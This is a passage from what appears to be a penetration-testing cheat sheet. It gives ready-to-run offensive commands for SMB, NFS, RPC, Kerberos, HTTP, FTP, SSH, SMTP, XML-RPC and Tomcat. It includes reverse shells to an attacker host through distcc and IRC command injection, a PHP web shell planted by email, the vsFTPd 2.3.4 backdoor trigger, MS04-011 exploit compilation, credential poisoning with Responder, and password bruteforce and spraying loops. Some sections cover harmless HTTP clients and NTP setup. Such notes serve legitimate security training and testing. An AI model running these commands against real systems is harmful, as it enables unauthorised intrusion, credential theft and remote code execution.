    # sudo required for port 445 binding
    sudo smbserver.py share .
    # Modern need: -smb2support for SMB2
        
  • Download/Upload files from Windows:
    :: Download
    copy \\<ip>\share\<remote-file> .
    
    :: Upload
    copy <local-file> \\<ip>\share\
        

SMBrelayx

  • smbrelayx.py - Serve payload on conn:
    # Send evil exe to victims
    smbrelayx.py -h <ip> -e <evil-exe>
    # The evil exe will be executed
        

winexe

  • Site - Execute commands remotely on Windows NT/2000/XP/2003 - winexe serv:
    winexe -U 'Administrator%<pass>' //<ip> 'cmd.exe'
        

Metasploit

  • There may be some issues with the SMB modules, try the proposed fixes:
    set SMBUser <user>
    set SMBPass <password>
    set SMB_SHARE_NAME <writable_folder>
    set SMB::AlwaysEncrypt false
    set SMB::ProtocolVersion 2,3
    # Or proto 1
    set SMB::ProtocolVersion 1
        

NFS

Enumeration

showmount

  • Show the available NFS shares:
    showmount -e <ip/hostname>
    # -d  -> Dirs mounted by clients
    # -a  -> All info (non-reliable)
        

Mount shares

mount

mkdir /tmp/<path>

mount -t nfs <ip>:<rpath> /tmp/<path> -nolock

Bypass Access Permission Restrictions

  • Only works if squashing is disabled:
    # Remote host - Check for squashing:
    cat /etc/exports
    # root_squash -> disable remote root
    # no_all_squash -> enable remote usr
        
  • List exported folder UID and GID:
    # Main folder owners
    ls -lahud <folder>
    
    # Folder content owners
    ls -lahu <folder>
        
  • If no_all_squash is set, create a local user with the same UID and GID:
    useradd -M -u <uid> -g <gid> -o <name>
    # -M - Don't create home folder
    # -o - Allow non-unique ids
        
  • Switch to the user to access the dir:
    sudo -u <usr> -i /bin/bash
    # or
    su <usr>
    
    cd /tmp/<path>
        
  • Remove the user:
    userdel -r <name>
    # -f - Force deletion
        

RPC

Enumeration

rpcinfo

  • Show all RPC services registered:
    # Uses rpcbind version 1
    rpcinfo -s <ip/host>
    # -s         -> Simplified output
    # -n <port>  -> Use port number
    # -a <ip:port> -T tcp/udp - Alt
    
    # Query service (cannot use -s)
    rpcinfo [-t|-u] <ip/host> <serv-num>
    
    # Uses rpcbind version 2
    rpcinfo -p <ip/host>
    
    # Query service - version 2
    rpcinfo -p <ip/host> <serv-num>
    # -T tcp/udp -> Force transport
    # -l         -> List all entries
        

rpcclient

  • Anon bind and user enumeration:
    # Connect as anon user and no-pass
    rpcclient -U "" -N <ip/host>
    # Also try -U "%"
    # -p <port> - Use instead of 139
    
    enumdomusers   # Enum Domain Users
    enumdomgroups  # Enum Domain Groups
    
    querygroup    <rid> # Group Info
    querygroupmem <rid> # and Membership
    
    queryuser <rid> # User/computer info
    # Includes pass attempts/cooldown
    
    # Info about passwords in...
    getdompwinfo           # the domain
    getusrdompwinfo <rid>  # usr account
        
  • Simple password bruteforce:
    while read p; do rpcclient -U "<usr>%$p" -c 'getusername;quit' <ip/host> 2>&1 | grep -q '<usr>' && { echo "Valid pass: $p"; break; }; done < rockyou.txt
    # Password-spray by iterating over
    # the users with just one password
        

rpcdump

  • Impacket tool: DCE/RPC endpoint mapper
    rpcdump.py [[dom/]user[:pass]@]<dst>
    # dst can be:
    #  - IP
    #  - NetBIOS name
    # -target-ip <ip> (if dst: NB name)
    # -port <port>
        

NTLM

Capture

Responder

  • Site - MS proto poison & collect creds
    # Capture <iface> - Listen only
    responder -A -v -I <iface>
    
    # Capture <iface> - Poison features
    responder -wrf -v --lm -I <iface>
    # -e <ip>    - Poison req with <ip>
    # -b         - Basic HTTP auth
    # -u <proxy> - WPAD upstr HTTP proxy
    # -P         - Force proxy auth
    # -d         - Answer NB dom suffix
    # -F         - Force wpad.dat auth
    # --disable-ess - ESS downgrade
        
  • Crack the hashes as-is with john or hc

LDAP

Enumeration

ldapsearch

  • From openldap (utils) - Search LDAP
    # -x uses simple auth
    ldapsearch -x -H ldap://<ip/domain> -s base
    # -w <pass> - Pass for simple auth
    
    # Only return specific attributes
    ldapsearch -x -H ldap://<ip/domain> -s base namingcontexts
    # ^ Finds all domain names
        

ldapdomaindump

  • Site - Dump AD info via LDAP
    # Leave creds empty for anonymous
    ldapdomaindump -u '<dom>\<user>' -p '<pass>' --no-html --no-grep <ip>
    # <ip> can be ldap[s]://<ip>:<port>
    # -at SIMPLE - Use simple Auth
    # -o <dir>   - Output directory
    # -r         - Resolve hostname
    # -m         - Dump minimal info
    
    # Pretty print JSON output
    ldd2pretty --directory <path>
    
    # Read html output if --no-json
    cat domain_*.html | w3m -T text/html
        

Kerberos

Enumeration / Bruteforce

kerbrute

  • Site - Enum users + brute/spray creds
    # Enum valid users
    kerbrute userenum --dc <dc-ip/domain> -d <domain> <usrlist>
    # dc-domain & domain may be the same
    
    # Spray password
    kerbrute passwordspray --dc <dc-ip/domain> -d <domain> <usrlist> <pass>
        

AS-REP Roasting

GetNPUsers

  • Site (Impacket) - Get non-preauth TGTs
    # Get TGTs for list of users
    GetNPUsers.py -dc-ip <ip> <domain>/ -usersfile <usrfile> -format <hashcat|john> -outputfile <file>
    
    # Get TGTs for all domain users
    GetNPUsers.py -dc-ip <ip> <domain>/<user>:<passwd> -request -format <hashcat|john> -outputfile <file>
        

GetADUsers

  • Site (Impacket) - List all usernames:
    GetADUsers -all -dc-ip <ip> <domain>/<usr>:<pass>
    # -hashes <LM>:<NT> - NT auth
        

WinRM / PSRP

evil-winrm

  • Site - Remote shell - Port 5985:
    # Check the Site for extra features
    evil-winrm -u '[<domain>\]<user>' -p '<pass>' -i <ip>
    
    # Login with NTLM hash (not NTLVv2)
    evil-winrm -H '<ntlm-hash>' -i <ip>
    
    # -S        - enable ssl
    # -P <port> - Other than 5985 port
    # -s <path> - Load local PS scripts
    # -e <path> - Load local C# exes
    # -U <uri>  - URI path to /wsman
    # -r <dom>  - Kerberos realm domain
    
    # upload   - Upload local files
    # download - Download remote files
    # services - Show running services
    # menu     - Show extra features:
    #  [Dll|Donut]-loader | Invoke-Binary
        

HTTP / HTTPS

Enumeration

Console page rendering

w3m
  • Usage - best standalone Renderer:
    # Add -dump to not start pager
    w3m <url>
    # Use -T text/html with files
    
    # Cookies are in Netscape format
    HOME=/tmp w3m -cookie <url>
    # Cookies are in /tmp/.w3m/cookie
    
    # For insecure sites you may try
    w3m -insecure <url>
    
    # Or
    w3m -o ssl_cipher='ALL:@SECLEVEL=0' -o ssl_min_version='TLSv1.0' -o ssl_forbid_method='' -o ssl_verify_server=0 <url>
    
    # As a last resort pipe curl
    curl -s <url> | w3m -T text/html
        
Browsh
  • Site - Renders JS - Requires Firefox:
    # Needs mouse support for clicks
    browsh <url>
    # Alt: --firefox.path "firefox-esr"
        
  • Use the vim-mode experimental branch
  • Or install Vim-Vixen in GUI mode
Lynx
  • Preserves links:
    # Add -dump to not start pager
    lynx <url>
    # Use -force_html to force parsing
        
html2text
  • C++/Python - Simple script for files:
    # Prettify with -style pretty
    html2text <file>
        

Curl

  • Headers + body:
    curl -i <url>
        
  • Headers only:
    curl -I <url>
        
  • Response size only:
    curl -s -w '%{size_download}' <url>
        
  • Follow redirection:
    curl -L <url>
        
  • Connect to old SSL/TLS sites:
    curl -1 --ciphers 'DEFAULT:!DH' -k <url>
        
  • curl --trace parser: curl-trace-parser

HTTPie

  • Site - Curl+Wget+JSON CLI - Docs:
    # GET request with parameteres
    http <url> 'q==hi' 'sort==3'
    
    # POST request URLencoded
    http -F -f <domain-ip>/<path> 'u=me'
    # -F to follow | -f use "form mode"
    # --all to show all redirects
    
    # Check request without sending it
    http --offline <domain-ip>
    
    # Upload a file (default is POST)
    https PUT <domain-ip> < '<file>'
    
    # Perfrom LFI check
    http --path-as-is <domain-ip>/../../../etc/passwd
    
    # Response headers in JSON
    https -h -j <domain-ip>
    # -p Hh to print Resquest & Response
    
    # Store/Use session (cookies) - JSON
    http --session=<path> <domain-ip>
    
    # HTTP Auth
    http -a <user:pass> <domain-ip>
    # -A basic/digest for Auth type
    # --proxy=<method>:<url>
        
  • CurliPie - Convert curl to HTTPie
  • HTTP Prompt - Interactive HTTPie - Doc
    http-prompt <url> <httpie-options>
    
    # Supports everything HTTPie does
    env      # Show flags set
    cd <uri> # Move to parent/child URI
    httpie   # Show what will get run
    rm -o *  # Remove all HTTPie options
    post     # Perform POST request
    rm -b *  # Remove all "body options"
    # Remember: -f -F --session <file>
    # to be able to perform cd <uri>
    get | w3m -T text/html # Pipe GET
    env > <file>  # Save session to file
    source <file> # Load session
    exec <file>   # Replace&Load session
    
    # Start from session
    http-prompt --env <session> <url>
        

openssl s_client

  • Query site:
    echo -ne "GET /<path> HTTP/1.0\r\nHost: <domain>\r\n\r\n" | openssl s_client -connect <site>:443 -verify_quiet -quiet 2>/dev/null | sed -n '$G;1,/^\s*$/!P'
    # For file downloading: sed '1,/^\s*$/d'
        

Bash

  • Query site:
    { echo -ne "GET /<path> HTTP/1.0\r\nHost: <ip-dom>\r\n\r\n" >&3;
      sed -n '$G;1,/^\s*$/!P' <&3;
    } 3<>/dev/tcp/<ip-domain>/80
    # For file downloading: sed '1,/^\s*$/d'
        

Perl

  • Core Perl:
    # Remove $/="\r\n"x2 to show the headers
    perl -MSocket -e '$"=",";socket$s,2,1,6;$$_[2]=qq/pack"$$_[2]"/,eval"setsockopt\$s,@$_"for[1,13,ii,1,5],[6,18,L,5000],map[1,$_,"l!2",5],20,21;connect$s,sockaddr_in+80,inet_aton$h="<ip-host>";send$s,"GET /<path> HTTP/1.0\r\nHost: $h\r\n\r\n",0;$/="\r\n"x2;<$s>;print<$s>'
    # If headers don't end in \r\n use:
    #   1until<$s>=~/^\s*$/;print<$s>
    #
    # For HTTP/1.1 add Connection: close
    #
    # The first socket call is equivalent to
    #   socket$s,PF_INET,SOCK_STREAM,
    #            getprotobyname("tcp")
    # Packed arrays structure:
    # [ <Sock-Level>, <Level-Opt>, <Rest*> ]
    # Sock-Level 1 -> SOL_SOCKET
    #   Level-Opt 13 -> SO_LINGER
    #   Level-Opt 20 -> SO_RCVTIMEO
    #   Level-Opt 21 -> SO_SNDTIMEO
    #   See man socket7,asm-generic/socket.h
    # Sock-Level 6 -> getprotobyname("tcp")
    #              or Socket::IPPROTO_TCP
    #   Level-Opt18 Socket::TCP_USER_TIMEOUT
    #   See man tcp7 & ip7, and linux/tcp.h
        

Methods

Identification

  • Use Nmap NSE http-methods:
    # Select path: http-methods.url-path
    nmap --script=http-methods
    # Unsafe args: http-methods.test-all
    # Individually: http-methods.retest
        
  • Different directories may support different methods:
    # See first the helpers below
    while read p; do nmap -sT -n -Pn -T4 --min-rate=1000 --script=http-methods --script-args=http-methods.test-all,http-methods.url-path="/$p/" -p<port> <ip>; done < "<path-list>"
        
  • Trim the domain from the URLs:
    sed -n 's, *https\?://[^/]*/,,p' "<path-list>" > trim.paths
        
  • Generate all the intermediary paths:
    sed -n 's,/$,,;:a;p;s,/[^/]*$,,;ta' trim.paths | sort -u > all.paths
        

PUT

Notes
  • Sites may deny files with specific extensions like .php but not .php5
Check All Subdirs
  • Assume you have a file with full URLs
    # Without trailing slash: $,/, -> $,,
    sed 's, *https\?://,,;:a;s,/[^/]\+/\?$,/,p;ta' furls.txt | sort -u | httprobe > sdirs.txt
    
    # Alternative using Zsh builtins
    while read f; do while ! [[ "$f" =~ ".*<site.com>/$" ]]; do f="${f:h}/"; echo "$f"; done; done < furls.txt | sort -u > sdirs.txt
        
  • Probe each subdir with curl:
    while read u; do while :; do { timeout 3 curl -ski -X OPTIONS "$u" 2>&1 || continue; } | { grep -v '^$' || continue; } | { grep -o '.*\<PUT\>' | sed "i[$u]"$'\na\n'; }; break; done; done < sdirs.txt
    # Might require GNU sed
        
Nmap
  • Use NSE http-put to upload files:
    # Redirection cause false positives
    nmap -sS -n -Pn -T4 --min-rate=1000 --script=http-put --script-args=http-put.url="<dest-file-path>",http-put.file="<local-file-path>" -p<port> <ip>
    
    # Use the Identificaton for loop
    while read p; do nmap -sT -n -Pn -T4 --min-rate=1000 --script=http-put --script-args=http-put.url="/$p/<file.ext>",http-put.file="<local-file-path>" -p<port> <ip>; done < <fpaths> 2>&1 | grep "successfully"
        
Curl
  • Usage:
    curl -i 'Content-Type: text/plain; charset=utf-8' -T "<local-file-path>" http://<ip>/<dir>
        

GET

Wget
  • Download all files recursively:
    # Don't recurse to the parent
    wget --no-parent -r <url/path>
    
    # and don't download index files
    wget --no-parent --reject "index*" -r <url/path>
        

Headers

Keep-Alive

  • Used for persistent connections
  • Can be used to bypass WAF TCP connection limits and DoS
  • Check if the server supports it:
    curl -H 'Connection: keep-alive' -I
        
  • Test it with curl:
    curl -v "<url>" "<same-url>"
        

Bruteforce

Forms

Dynamic CSRF / OAuth Token Protection Bypass
Tools
  • patator is able to do it but might not be the most efficient if the server allows reusing the CSRF token a few times
  • wfuzz is also able to do it (and efficiently) via its python library using FuzzSession and modifying the .fuzz() parameters via the Result Object
Proxies
  • All the other bruteforcers can obtain this feature via a proxy
  • Burp Suite is able to do it although not in the most efficient way if the server allows reusing CSRF tokens a few times
  • Mitmproxy is also able to do it (and efficiently) by checking for CSRF errors in the response, saving the CSRF token & repeating the request - see OAuth sample
Hydra
  • Site - Multi-protocol bruteforcer:
    # [!] Don't add http:// to <ip>
    # Use -S for SSL or -O -> older SSL
    # Single user bruteforce
    hydra -l <usr> -P <wordlist> -f -e ns -s <port> <ip> http-post-form '/path/to/form:user=<user>&password=^PASS^:Invalid Password!'
    # -f -> exits when finding 1 combo
    # Form fields: user and password
    # <user>&<pass> taken from request
    # ^PASS^ is replaced by <wlist>
    # :F="Invalid Password!" if failure
    # Use :S=<success-str> otherwise
    # :A=(BASIC|NTLM|MD5) to set auth
    # :H=My\: Header to set headers
    # More info: hydra -U http-post
        
  • Only ^USER^/^PASS^ get URL-encoded (ref), escape non-delimiter colons
  • Hydra doesn’t like named pipes as wordlists, use zsh =() temp files
  • JSON/AJAX forms require headers (ref):
    # JSON fields need double quotes
    hydra -L <userwl> -P <passwl> -e ns -s <port> <ip> http-post-form '/path/to/api/auth:{"user"\:"^USER^","pass"\:"^PASS^"}:{"success"\:false}:H=Content-Type\: application/json;charset=utf-8'
    # Add -u for spraying
    # Use curl's resp-body as Fail-cond
    # If more headers are required, do
    # escape : from the url http\://
        
  • For JSON/AJAX use the latest master as there are two bugs in version < 9.3

Basic / Digest / NTLM

Medusa
  • Site - Repo (fix) - Login bruteforcer
    # Unable to filter codes/redirs
    medusa -h <ip/dom> -v 4 -b -M http -m "AUTH:BASIC" -m 'DIR:/<url>' -s -t 2 -e ns -U <wusr> -P <wpwd>
    # -v 4        - See successful only
    # -b          - Hide banner
    # -t <num>    - Thread number
    # -T <num>    - Concurrent hosts
    # -L          - Spray 1 user/thread
    # -M <module> - Choose module
    # -m <param>  - Module parameter
    # -[dq]       - Show modules/params
    # -s          - Use SSL
    # -n <port>   - Different port
    # -Z <key>    - Resume using key
    # -e [ns] - Try Null/Same usr->pwd
    # -[up] <single-usr/pass>
    # -[Ff] - 1 valid combo Any/1 host
    # -H <host-list>  | -C <combo-list>
        
Ffuf
  • Adapt ffuf_basicauth from ffuf-scripts:
    # Change to Digest or NTLM if needed
    ./ffuf_basicauth.sh <wusr> <pwd> | ffuf -w -:AUTH -H "Authorization: Basic AUTH" -fc 403 -c -u '<url>'
        
Patator
  • Site - Multi-Purpose bruteforcer - raw
    patator http_fuzz 'url=<url>' user_pass=FILE0:FILE1 0='<wusr>' 1='<wpwd>' -x ignore:code=401
    # pathasis=1       - Send ../ as is
    # auth_type=basic  - Default
    # auto_urlencode=1 - Default
    # persistent=1     - Default
    # > Change the 0 and 1 for spraying
    #
    # --allow-ignore-failures - Ignore...
    # -x ignore:code=xxx      - Errors
        

RPC

MS04-011

  • Used in Windows XP, also works in Win2k
  • Check that the port 445 is open and that the lsass.exe (WinXP) or netrap.dll (Win2k) processes are running
  • Obtain the exploit through searchsploit -m 295 or exploit-db
  • Add #include <stdio.h>
  • Compile it with:
    i686-w64-mingw32-gcc 295.c -o ms04-011.exe -lws2_32
        
  • Send it to the target an run it:
    :: 0 -> WinXP ; 1/2 -> Win2k Pro/Serv
    ms04-011.exe 0 127.0.0.1 9090
        
  • Connect to the port 9090 (locally) to obtain an admin shell
  • There are some options for autodetect the OS (-t) and connect back to an IP (reverse-shell) instead of spawning the bind-shell but they weren’t tested

FTP

Enumeration

Netcat

  • Banner grab and interact:
    nc -nv <ip> 21
        
  • Commands:
    # Log in
    USER <username>
    PASS <password>
    # The order may have to be reversed
        

FTP

  • Connect:
    # Use 'anonymous' or 'ftp' as name for anon user
    ftp <ip>
    # -P <port>
        
  • Commands:
    # OS (more or less
    system
    
    # Current path
    pwd
    
    # List files
    ls / dir
    
    # Change directory
    cd <dir>
    
    # Delete file
    del <file>
    
    # Set binary mode for transfers
    binary
    
    # Download
    get <file>
    
    # Upload
    put <local-file>
        

Backdoors

vsFTPd 2.3.4

  • Trigger: Username ending in :):
    nc -nv <ip> <ftp-port>
    
    USER test:)
    
    PASS test
        
  • Connect to backdoor:
    nc -nv <ip> 6200
    # Will only work if the firewall is
    # not blocking it
    # Note that it may still be the way
    # to elevate privileges from inside
        

SSH

Bruteforce

Usernames

  • Using EID 45939 and xargs:
    < <userlist> xargs -P 10 -I {} python2 45939.py -p <port> <ip> {} 2>&1 | grep ' valid'
    # Unlimited procs kill the process
        

Passwords

Hydra
  • Site - Multi-protocol bruteforcer:
    # -s <alt-port>
    hydra -l <user> -P <pass-wlist> -e ns ssh://<server>
        

Shellshock - CVE-2014-6271

  • OpenSSH with ForceCommand feature and bash < bash43-027

CVE-2015-6565

Affected

  • OpenSSH 6.8 < 6.9

Exploit

  • EID 41173 - Local privEsc

CVE-2008-0166

Affected

  • SSH with OpenSSL 0.9.8c-1 < 0.9.8g-9

Readable .ssh/authorized_keys

  • Get DSA or RSA common keys
  • Grep for the authorized key:
    grep -lr <auth-key>
    # .pub file detected
        
  • Connect using the found private file:
    ssh -i <non.pub> <user>@<ip>
        

Other tools

Tricky Commands/Configuration

POSIX Remote Directory Tracking

  • Vterm codes:
    # Paste as-is in a remote terminal
    # command ssh -F /dev/null <host>; cd .
    
    [ -n "${IP+x}" ] && OLD_IP="$IP"
    IP="$(expr "${SSH_CONNECTION}" : ".* \([^ ]*\) 22")"
    # Add others like pushd popd if used
    for c in cd chdir; do
      eval $c' () {
        { command '$c' $@; } && { printf "\e]51;A-:${USER}@'${IP}':%s\e\\" "${PWD}"; :; }
      }'
    done
    [ -z "${OLD_IP+x}" ] && unset IP || { IP="${OLD_IP}"; unset OLD_IP; }
    cd .
    
    # Multi-hop (accept host-key beforehand)
    # \e]51;Assh:<hop-user>@<hop-ip>#<port>|ssh:${USER}@'${IP}':%s\e\\
    
    # Tmux escape:  \ePtmux;\e\e]%s\007\e\\
    # Screen escape: \eP\e]%s\007\e\\
    #
    # Tmux multi-hop:
    # \ePtmux;\e\e]51;Assh:<hop-user>@<hop-ip>#<port>|ssh:${USER}@'${IP}':%s\007\e\\
        

PLINK.exe

  • Connect to host
    :: Inline password with -pw <pass>
    :: Different port with -P <port>
    plink.exe -ssh root@127.0.0.1
        
  • Proxy through SOCKS4/HTTP (ref):
    plink.exe -ssh -proxycmd "ncat --proxy-type http --proxy <proxy-ip>:<proxy-port> %host %port" root@127.0.0.1
        

PUTTY.exe

SSH

  • List keys associated to private one:
    ssh-keygen -l -f <r/dsa>
        
  • Create public file from private:
    ssh-keygen -y -f <r/dsa> > <r/dsa>.pub
        
  • Set the right permissions to use with -i
    # Or 400
    chmod 600 <r/dsa>.pub
        
  • Export (to stdout) key in PEM format:
    ssh-keygen -e -m PEM -f <r/dsa>
        
  • Find the options that are/can be set:
    ssh -G -o <options> root@127.0.0.1
        
  • Ignore ssh_config and allow weaker algorithms:
    ssh -i <private-rsa/dsa> -p <port> -F /dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -oKexAlgorithms=+diffie-hellman-group1-sha1 -ociphers=+aes128-cbc root@127.0.0.1
        
  • Proxy through SOCKS5 (ref):
    # Using OpenBSD nc
    ssh -o ProxyCommand='/usr/bin/nc -X 5 -x <proxy-ip>:<proxy-port> %h %p' <user>@<ip>
    
    # Using ncat
    ssh -o ProxyCommand='/usr/bin/ncat --proxy-type socks5 --proxy <proxy-ip>:<proxy-port> %h %p' <user>@<ip>
        
  • SSH-hopping:
    ssh -J <user-hop1>@<ip-hop1> <user>@<ip>
        
  • SSH Control Sequences (ref):
    # Only works after newlines
    # Disable: ssh -o EscapeChar='none'
    ~~  # Send Escape
    ~.  # Terminate connection
    ~^Z # Background ssh (Ctrl-Z)
    ~C  # Add commands: -D <socks-port>
        

Distcc

CVE-2004-2687

Identification

  • Using distcc NSE (ref):
    nmap -sS -n -Pn --open -T4 --min-rate=1000 -p3632 --script=distcc-cve2004-2687 <ip>
        

Exploitation

  • Remote Command Execution:
    nmap -sS -n -Pn --open -T4 --min-rate=1000 -p3632 --script=distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc <local-ip> 8080 -e /bin/sh'" <ip>
        

RDP

Windows

  • Enable access:
    reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /f /v fDenyTSConnections /t REG_DWORD /d 0
    :: Check the firewall section for
    :: allowing the ports
        
  • See the PowerShell way for enabling the RDP at the Trick Configuration section

IRC

Linux

  • You may execute commands via netcat:
    echo "AB; nc -e /bin/sh <attacker-ip> <port>" | nc 127.0.0.1 <IRC-port>
        

VoIP

SIP

Tools

SIP Scan

  • With svmap:
    # Identify SIP servers
    svmap <ip/hostname>
    # Use -p to target different ports
        

PBX Extensions Scan

  • With svwar:
    # Find working extensions
    svwar -m OPTIONS -e100-999 <ip/host>
    # Use -D instead of -e for defaults
    # Alternatively use:
    # - REGISTER -> May not always work
    # - INVITE -> Note: simulates a call
    # Use --force to bypass checks
        

SSL/TLS

Scan / Test

  • Proto/Cipher/Vulns - testssl.sh:
    # Checks Heartbleed and others
    testssl.sh --full <url:port>
    # -E check cipher per protocol
    # --starttls smtp -> SMTPS checks
        
  • Supported protocols Using sslscan:
    sslscan <ip>
        

Downgrade OpenSSL System-wide

  • Modify /etc/ssl/openssl.cnf:
    [system_default_sect]
    # > Old <
    # MinProtocol  = TLSv1.2
    # CipherString = DEFAULT@SECLEVEL=2
    
    # > New <
    MinProtocol  = None
    CipherString = None
    
    # > Or set explicit versions <
    # MinProtocol  = TLSv1.0
    # CipherString = DEFAULT@SECLEVEL=1
        
  • Note that this has nothing to do with certificate validation and this varies per tool

Heartbleed

Affected

  • OpenSSL 1.0.1 < 1.0.1g
  • Not vulnerable on those compiled with -DOPENSSL_NO_HEARTBEATS

Exploits

SMTP

User enumeration

Hydra

  • Site - Multi-protocol bruteforcer:
    # Use -S for SSL or -O for older SSL
    hydra -s <port> smtp-enum://<ip>/VRFY -L <user-wlist> -p <domain>
    # EXPN & RCPT are VRFY alternatives
    # Use localhost as <domain>
        

Password Bruteforce

Hydra

  • Site - Multi-protocol bruteforcer:
    # Check the other auth type with:
    #  hydra -U smtp
    hydra -L <user-wlist> -P <pass-wlist> -e ns -s <port> smtp://<server>/LOGIN
    # Use TLS: smtp://<server>/TLS:LOGIN
    # or with: smtps://<server>/LOGIN
    
    # Without module and single user
    hydra -l <user> -P <pass-wlist> -f -e ns -s <port> <server> smtp
    # Use -S for SSL or -O for older SSL
        

Email Location

Linux

  • Common email locations:
    /var/mail/<user>
    /var/spool/mail/<user>
        

Send Email

Swaks

  • Site - Perl multipurpose SMTP tool
    # Send email - Exploit RCE
    swaks --to <user>@localhost --from test@test.net --header "Subject: test shell" --body 'SHELL-INIT:<pre> <?php system($_REQUEST["cmd"]); ?> </pre>:SHELL-END' --server <ip-port>
    # Or --port <port> for non-standard
        

Telnet / Netcat

  • Same RCE exploit as swaks:
    # nc -nC can also work
    telnet <ip> <port>
    # Keep the <...> below around emails
    EHLO world
    
    MAIL FROM:<test@test.net>
    
    RCPT TO:<[user]@localhost>
    
    DATA
    
    # The body goes from here {
    Date: $(LC_ALL=C date)
    To: [user]@localhost
    From: test@test.net
    Subject: test shell
    Message-Id: <20210218153300.1486384@test>
    
    SHELL-INIT:<pre> <?php system($_REQUEST["cmd"]); ?> </pre>:SHELL-END
    
    
    .
    # } To here, where it automatically ends
    
    QUIT
        

Server

Python smtpd

  • Docs - Builtin Python < 3.12
    # DebuggingServer prints to stdout
    python3 -m smtpd -n -c DebuggingServer 0.0.0.0:25
    # -n         - Run as nobody
    # -c <class> - smtpd handler class/object
        

aiosmtpd

  • Site - Builtin Python >= 3.12
    # Prints to stdout as it defaults to:
    #   -c aiosmtpd.handlers.Debugging
    python3 -m aiosmtpd -n -l 0.0.0.0:25
    # -n             - Run as nobody
    # -l <host:port> - Listen address
    # -u             - Enable SMTPUTF8 ext
    # -c <class>     - aiosmtpd handler class
        

POP3

Read Emails

Telnet

telnet <ip/domain> 110

USER <username>

PASS <password>

# Undelete emails marked for deletion
RSET

# List emails
LIST

# Read email
RETR <mail-id>

QUIT

Password Bruteforce

Hydra

  • Usage - Faster to bruteforce than SMTP
    # Check the other auth type with:
    #  hydra -U pop3
    hydra -L <user-wlist> -P <pass-wlist> -e ns -s <port> pop3://<server>/CLEAR
    
    # Without module and single user
    hydra -l <user> -P <pass-wlist> -f -e ns -s <port> <server> pop3
    # Use -S for SSL or -O for older SSL
        

XML-RPC

Clients

curl

  • List methods:
    curl -d '<?xml version="1.0"?> <methodCall> <methodName>system.listMethods</methodName><params></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
        
  • Show method help:
    curl -d '<?xml version="1.0"?> <methodCall><methodName>system.methodHelp</methodName><params><param><value> <string>system.listMethods</string></value></param></params> </methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
        

Bruteforce

Patator

  • Site - Multi-Purpose bruteforcer - raw
    # Best tool if system.multicall works
    
    # First check if system.multicall works
    curl -d @<(awk -vMULTI=1000 -vUSER='<user>' -vORS='' -vbegin='<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>' -vend='</data></array></value></param></params></methodCall>\n' 'BEGIN{print begin;++MULTI};!(NR%MULTI){print end begin}$0="<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>"USER"</string></value><value><string>"$0"</string></value></data></array></value></data></array></value></member></struct></value>";END{print end}' <dict> | head -n 1) -H 'Content-Type: text/xml' <url>/xmlrpc.php
    # If so, find the max MULTI allowed
    
    # Patator - 650 req 3 threads - 5 req/s
    # rockyou.txt takes around 1h
    # For more edit multiprocessing maxsize
    patator http_fuzz url='<path-to>/xmlrpc.php' header='Content-Type: text/xml' method='POST' auto_urlencode=0 body='PROG0' 0="/tmp/test.sh"  --allow-ignore-failures -x ignore:code='xxx' -x ignore:fgrep!='blogid' -x quit:fgrep='blogid'-t 3
    
    # Create /tmp/test.sh with the following
    #!/bin/sh
    
    # Set pipesize to patator multi maxsize
    perl -MFcntl -e 'fcntl+STDOUT,Fcntl->F_SETPIPE_SZ,10000'
    # Or set it on patator subprocess.Popen
    # pipesize flag at the ProgIter class
    
    exec awk -vMULTI=650 ... # From above
    # For a full perl ver see WordPress sect
        

Hydra

  • Site - Multi-protocol bruteforcer:
    # Use the simplest xml-rpc method
    # <wlist> cannot be a pipe
    hydra -f -l none -P <wlist> <ip> https-post-form '/xmlrpc.php:<?xml version="1.0"?><methodCall><methodName>pfsense.check_firmware_version</methodName><params><param><value><string>^PASS^</string></value></param></params></methodCall>:failed:H=Content-Type\: text/xml'
    # You may have to limit concurrency
    # to avoid crashing the service:
    # -t <n-threads> | -T <n-threads>
        

NTP

systemd

  • systemd-timesyncd.service controls NTP
    # Start the daemon
    systemctl start systemd-timesyncd.service
    
    # And/or
    timedatectl set-ntp true
    
    # See the time servers
    vi /etc/systemd/timesyncd.conf
    
    # Verify the configuration
    timedatectl show-timesync --all
    
    # Add a new server from an interface
    timedatectl ntp-servers <iface> <ip>
        

ntpdate

  • Site - Synchronize system with NTP srv
    # Does not require system/chrony
    ntpdate <ip>
        

Web

Certificates

crt.sh

  • Site - Certificate searcher

Servers

Apache HTTP

URL Bruteforce - Discovery

Log Poisoning - LFI to RCE

Linux
  • Common log locations:
    -- HTTP --
    /var/log/httpd/access_log
    /var/log/httpd/error_log
    
    -- HTTPS --
    /var/log/httpd/ssl_access_log
    /var/log/httpd/ssl_error_log
    /var/log/httpd/ssl_request_log
        
  • Check custom locations in:
    • /etc/apache2/envvars
    • /etc/apache2/apache2.conf
  • Find the default path of the server:
    • /etc/apache2/sites-enabled/000-default.conf

Apache Tomcat

Version Reveal Tricks

  • Tomcat might be susceptible to URL poisoning to allow revealing its version on a 400 Bad Request error
  • For example:
    • <site>/\
    • <site>/%5c

URL Bruteforce - Discovery

URL Reveal Tricks

  • Tomcat may be susceptible to URL poisoning to allow access to forbidden paths
  • For example:
    • <site>/manager/status/..;/html
    • Goes to <site>/manager/html
    • even if direct access result in 401
    • Also check <site>/manager;/status
    • Plus <...>/%252E%252E/manager/status
    • And <..>/;param=value/manager/status
    • And use it as base for discovery
  • To upload WAR files in manager/html tamper the POST request with a proxy
  • Or copy the full request from the browser’s Dev tools in curl format
  • for host-manager/html only UNC works
  • Remember that WAR files should be type java/jsp_shell_reverse_tcp when generating them with msfvenom

JServ - AJP

Bruteforce Default Credentials
  • First check that the /manager/ URI asks for authentication (if it doesn’t and returns permission denied it won’t work)
    w3m http://<ip:port>/manager
        
  • Get the default credentials from SecLists and separate users from passwords:
    # Users
    cut -d: -f1 tomcat-betterdefaultpasslist.txt | sort -u > users.txt
    
    # Passwords
    cut -d: -f2 tomcat-betterdefaultpasslist.txt | sort -u > passwords.txt
        
  • Bruteforce the credentials with AJPy:
